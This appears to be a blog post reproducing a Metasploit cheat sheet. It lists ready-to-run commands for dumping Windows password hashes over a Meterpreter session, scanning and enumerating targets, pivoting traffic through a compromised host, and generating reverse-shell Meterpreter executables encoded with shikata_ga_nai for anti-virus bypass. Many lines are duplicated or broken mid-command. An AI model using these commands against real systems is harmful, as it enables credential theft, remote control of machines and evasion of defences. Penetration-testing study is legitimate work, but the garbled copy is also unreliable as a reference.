Friends in previous article I explain what is metasploit. Today in this article I tech you metasploit cheat sheet. Now we start....
Download Cheat Sheet: Metasploit
Download Cheat Sheet: Metasploit
Meterpreter Post Modules
With an available Meterpreter session, post modules can be run on the target machine.
Post Modules from Meterpreter
meterpreter > run post/multi/gather/env
meterpreter > run post/multi/gather/env
Post Modules on a Backgrounded Session
msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run
msf > use post/windows/gather/hashdump
msf > show options
msf > set SESSION 1
msf > run
Useful Auxiliary Modules
Port Scanner:
msf > use auxiliary/scanner/portscan/
msf > use auxiliary/scanner/portscan/
tcp
msf > set RHOSTS 10.10.10.0/24
msf > run
msf > set RHOSTS 10.10.10.0/24
msf > run
DNS Enumeration
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run
msf > use auxiliary/gather/dns_enum
msf > set DOMAIN target.tgt
msf > run
FTP Server
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run
msf > use auxiliary/server/ftp
msf > set FTPROOT /tmp/ftproot
msf > run
Proxy Server
msf > use auxiliary/server/socks4
msf > run
msf > use auxiliary/server/socks4
msf > run
Any proxied traffic that matches the subnet of a route will be routed through the session specified by route.
Use proxychains configured for socks4 to route any application’s traffic through a Meterpreter session.
Use proxychains configured for socks4 to route any application’s traffic through a Meterpreter session.
msfvenom
The msfvenom tool can be used to generate Metasploit payloads (such as Meterpreter) as standalone files and optionally encode them. This tool replaces the former
msfpayload and msfencode tools. Run with
‘’
msfpayload and msfencode tools. Run with
‘’
-l payloads
’ to get a list of payloads.$ msfvenom –p
[PayloadPath]–f
[FormatType]LHOST=
[LocalHost (if reverse conn.)]LPORT=
[LocalPort]
Example
Reverse Meterpreter payload as an executable and
redirected into a file:
$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe
Reverse Meterpreter payload as an executable and
redirected into a file:
$ msfvenom -p windows/meterpreter/
reverse_tcp -f exe LHOST=10.1.1.1
LPORT=4444 > met.exe
Format Options (specified with –f)
–help-formats – List available output formats
exe – Executable
pl – Perl
rb – Ruby
raw – Raw shellcode
c – C code
–help-formats – List available output formats
exe – Executable
pl – Perl
rb – Ruby
raw – Raw shellcode
c – C code
Encoding Payloads with msfvenom
The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with ‘
The msfvenom tool can be used to apply a level of encoding for anti-virus bypass. Run with ‘
-l encoders
‘ to get a list of encoders.$ msfvenom -p [Payload] -e [Encoder] -f
[FormatType] -i [EncodeInterations]
LHOST=[LocalHost (if reverse conn.)]
LPORT=[LocalPort]
Example
Encode a payload from msfpayload 5 times using shikataga-nai encoder and output as executable:
Encode a payload from msfpayload 5 times using shikataga-nai encoder and output as executable:
$ msfvenom -p windows/meterpreter/
reverse_tcp -i 5 -e x86/shikata_ga_nai -f
exe LHOST=10.1.1.1 LPORT=4444 > mal.exe
Metasploit Console Basics (msfconsole)
Search for module:
msf > search [regex]
msf > search [regex]
Specify and exploit to use:
msf > use exploit/[ExploitPath]
msf > use exploit/[ExploitPath]
Specify a Payload to use:
msf > set PAYLOAD [PayloadPath]
msf > set PAYLOAD [PayloadPath]
Show options for the current modules:
msf > show options
msf > show options
By Jeet Rami
0 comments :
Post a Comment